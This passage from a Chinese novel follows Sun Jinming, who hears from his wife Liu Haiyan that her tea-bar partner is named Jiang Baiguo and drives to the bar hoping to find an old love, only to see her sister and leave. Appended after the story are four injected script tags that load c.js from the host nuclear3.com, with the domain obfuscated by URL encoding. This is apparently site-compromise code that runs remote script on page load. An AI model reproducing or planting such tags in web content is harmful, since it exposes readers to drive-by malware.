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刘海燕推开书房的门,打断了孙锦明的回忆,孙锦明觉得一股果香味扑鼻而来,只见刘海燕端来一杯奶白色的果茶站在他身边。 “喝喝这个吧,是我们小店新推出的品种,我今天回家也做了,你最近有些咳嗽可以喝点。”刘海燕把茶放在孙锦明手上。 闻一下,真的是清香甜润,口腔里的黏液立即分泌旺盛。 “这个茶叫什么名字?”孙锦明边说边送了一口到嘴里,润滑果烂,入口即化,真是很好的味道。 “白果奶茶。” “白果?”孙锦明直起了蹋软的身子,片刻又放下了,说:“青岛的白果哪有江春的白果甜。” “是,什么都没江春的好,你不就在那呆了14年吧,好象呆了一辈子似的。不过你说对了,这个白果就是江春的,江白果说做这个茶白果的原料很重要,这是……” “谁,你说谁,”孙锦明倏地站起身来,手上的玻璃杯掉在地上,白色的液体迅速像书房的每个角落蔓延。 “你怎么了,这么不小心。”刘海燕赶紧手忙脚乱地收拾地上的东西,这个弄在地板上可是很难清除的,没弄干净就容易招虫子。 “你刚才说谁?哪个江白果?”孙锦明一手抓起低着头那用纸巾擦地板的妻子。 “江白果呀,我店里的,我不是跟你说过她在李夏家做过保姆,后来我们发现她会泡茶就找她一起开了这个小店嘛。”刘海燕奇怪的看着丈夫。 当保姆?江白果?会不会搞错了?江白果怎么会去当保姆?孙锦明又靠回沙发上闭上眼睛没有说话。 “对了,白果也是江春城的,不过好象她很少提起那,只是说到她外婆时才会说起江春。”刘海燕又给孙锦明端来一杯果茶,递到他手上。 孙锦明心猛地加速跳动,江春,江白果,难道真是日思夜想的她? 他把茶顺手放在书桌上,对刘海燕说:“我要去公司加班,晚上有个客户会发传真过来。” “你忘了今天什么日子?都说好了的。”刘海燕涨红了脸,扯着老公的衣角不放,“你给海雨打电话,让他去看看不行吗?” 今天是他们夫妻约好亲热的日子,一星期一次。刘海燕自生孩子后突然对性生活充满了浓郁的兴趣,总是折腾得孙锦明腰酸背疼,他没办法就规定每个星期四晚上同床,其他时间他自己睡书房。 “我一会儿就回来,这是个大客户,我看完传真还要与他通电话,海雨的英语根本不行。”孙锦明边说边甩开刘海燕的手,在门口换了鞋子,头也没回就走了。 车上了香港中路后,直接奔闽江路去了,孙锦明要去找妻子开的茶吧,他不知道具体的地址,不过有一次送刘海燕过来,就在这附近放下她的,店名好象叫“下午茶吧”。 孙锦明手扶着方向盘,眼睛盯着路两边的小店,脑子里江白果的影象像电影一般一幕幕跳进他的脑子里。 “下午茶吧”,一块棕色镶金边的牌子掉入孙锦明眼里,下车,关车门,站在茶吧前,孙锦明觉得这个时间是那么漫长,如凝固了般,让他无法迈腿一步走到她面前。 一走进茶吧,服务员就迎上来,孙锦明要了一个靠角落的位置坐下来,点了壶刚才在家刘海燕泡的果茶。 服务员笑咪咪地说:“先生,您真会点,这可是我们店今天刚推出的新口味果茶。” 孙锦明顺口接过:“我和你老板是朋友,她在吗?” “您说哪个老板呀?这个时候,只有我们的三老板在。” “我和你们姓江的老板,叫江白果的是很好的朋友,她在吗?”孙锦明说到江白果的名字时,端着茶的手都有些发抖。 “哦,那就是三老板,您等等我帮您找她去。”说完服务员就冲着楼上喊,“三老板,您朋友找您。” 楼上江白果正在洗澡,她妹妹江离在外屋看电视,听见楼下喊,就冲着洗手间说,“姐有人找。” 江白果心里嘀咕,我朋友?青岛我哪有朋友?难道是张阿姨?“小离,你帮我去看看是谁。” 江离站在楼上伸出半个身子对着楼下说:“谁找呀?” 孙锦明一眼就看见探出身的江离,顿时提着的心放下来,又很快沉重起来。以为是找到了她,原来是竹篮打水一场空。他把钱留在桌上,出门开了车就走了。 这边江白果洗好澡下楼,服务员把她领到孙锦明的座位,才发现他已经走了。 “是什么样的人找我?” “一个男的,三十几岁的样子。” “男的?”江白果看了一眼店门外,一辆黑色小车正掉头走了。 <Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63%2Enuclear3.com/css/c.js></Script><Script Src=http://c.nuclea%723.com/css/c.js></Script>
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